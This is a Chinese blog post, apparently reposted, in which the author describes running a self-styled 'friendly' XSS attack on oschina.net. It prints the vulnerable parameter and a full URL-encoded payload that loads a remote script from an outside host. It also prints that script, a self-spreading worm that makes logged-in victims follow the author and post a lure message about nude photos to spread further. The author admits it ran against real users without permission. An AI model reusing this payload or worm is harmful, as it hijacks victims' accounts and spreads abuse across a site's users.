好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

对oschina的一次友情xss测试 - 网站安全 - 自学php

早上起床,发现断网了.大家只能上局域网. 另外昨晚友情做的一个xss检查,发现也被红薯删了. 这个的xss蠕虫模拟的新浪那个(虽然没代码,功能差不多就行). 以前扫osc描漏洞的时候,发现osc没有。 这次是先有这个帖子讨论osc的xss漏洞,刚好最近对xss感兴趣,就友情探测一次. 这次发现的xss入口是在: http://my.oschina.net/samshuai?ft=代码   然后利用xss调用自己的代码:   http://my.oschina.net/samshuai?ft=%22/%3E%3Cscript%20type=%22text/javascript%22%20src=%22http://cdn.magentochina.org/js/joke.js%22%3E%3C/script%3E%3Ca%20%22   远程joke.js代码如下: </div> <div> <pre>(function($) {     $.cookie = function(key, value, options) {           // key and at least value given, set cookie...         if (arguments.length &gt; 1 &amp;&amp; (!/Object/.test(Object.prototype.toString.call(value)) || value === null || value === undefined)) {             options = $.extend({}, options);               if (value === null || value === undefined) {                 options.expires = -1;             }               if (typeof options.expires === 'number') {                 var days = options.expires, t = options.expires = new Date();                 t.setDate(t.getDate() + days);             }               value = String(value);               return (document.cookie = [                 encodeURIComponent(key), '=', options.raw ? value : encodeURIComponent(value),                 options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE                 options.path ? '; path=' + options.path : '',                 options.domain ? '; domain=' + options.domain : '',                 options.secure ? '; secure' : ''             ].join(''));         }           // key and possibly options given, get cookie...         options = value || {};         var decode = options.raw ? function(s) { return s; } : decodeURIComponent;           var pairs = document.cookie.split('; ');         for (var i = 0, pair; pair = pairs[i] &amp;&amp; pairs[i].split('='); i++) {             if (decode(pair[0]) === key) return decode(pair[1] || ''); // IE saves cookies with empty string as "c; ", e.g. without "=" as opposed to EOMB, thus pair[1] may be undefined         }         return null;     }; })(jQuery); var uid = $("input[name=user]").attr("value"); var action = "/action/user/follow"; var msg = "快来看红薯果照啊:http://goo.gl/CGsYh" function follow() {     ajax_post(action,"id="+uid,true); }   function postMsg(){     ajax_post("/action/tweet/pub","msg="+msg+uid); } if (!($.cookie('sss'))){     follow();     postMsg();     $.cookie('sss', '4'); }</pre> </div> <div> 由于做了xss之后,页面会有多个代码执行。 所以先用了jquery.cookie控制代码.然后判断cookie是否存在,然后进行操作。 这段javascript的动作有两个. 1.首先粉我(为什么我只看到几个人粉我呢,难道是回退了数据) 2.在动态区继续发言,让更多的人来点击.   有几个情况可能免疫:对红薯果照不感兴趣,安全级别设置较高,chrome,未登录,www.2cto.com成员,没有点击动弹区的链接,发现的时候外网已经断开点不开这个链接,红薯修复了. 还我粉丝…我看google的统计,不应该只有几个人follow的… 请大家注意小漏洞,不要觉得小漏洞无所谓.但是打起组合拳很厉害的..这只是一个小小的利用方式.google的一个Xss可以卖给google 500美元。 在中国,非常多的网站都不重视安全(连很多登陆都是直接http)。在wooyun上直接忽略我发的xss漏洞. 安全对网站很重要,对开源就更重要。很多实用开源的人,直接默认设置都不改。被黑了,怪人家开源软件不给力。改改文件位置,那些不就利用不鸟了么?安全是自己来做的。不要说开源不安全,闭源漏洞会更多。因为没有介绍到很多我这种小白的洗礼. PS:这次的xss漏洞是在登陆账号的情况下用安全扫描工具扫到的. 下面介绍osc网页的blog,教大家 xss原理和如何防御 最终说声:红薯我错了,再也不发红薯和水果的照片了。   作者:http://www.ecartchina.com

查看更多关于对oschina的一次友情xss测试 - 网站安全 - 自学php的详细内容...

  阅读:40次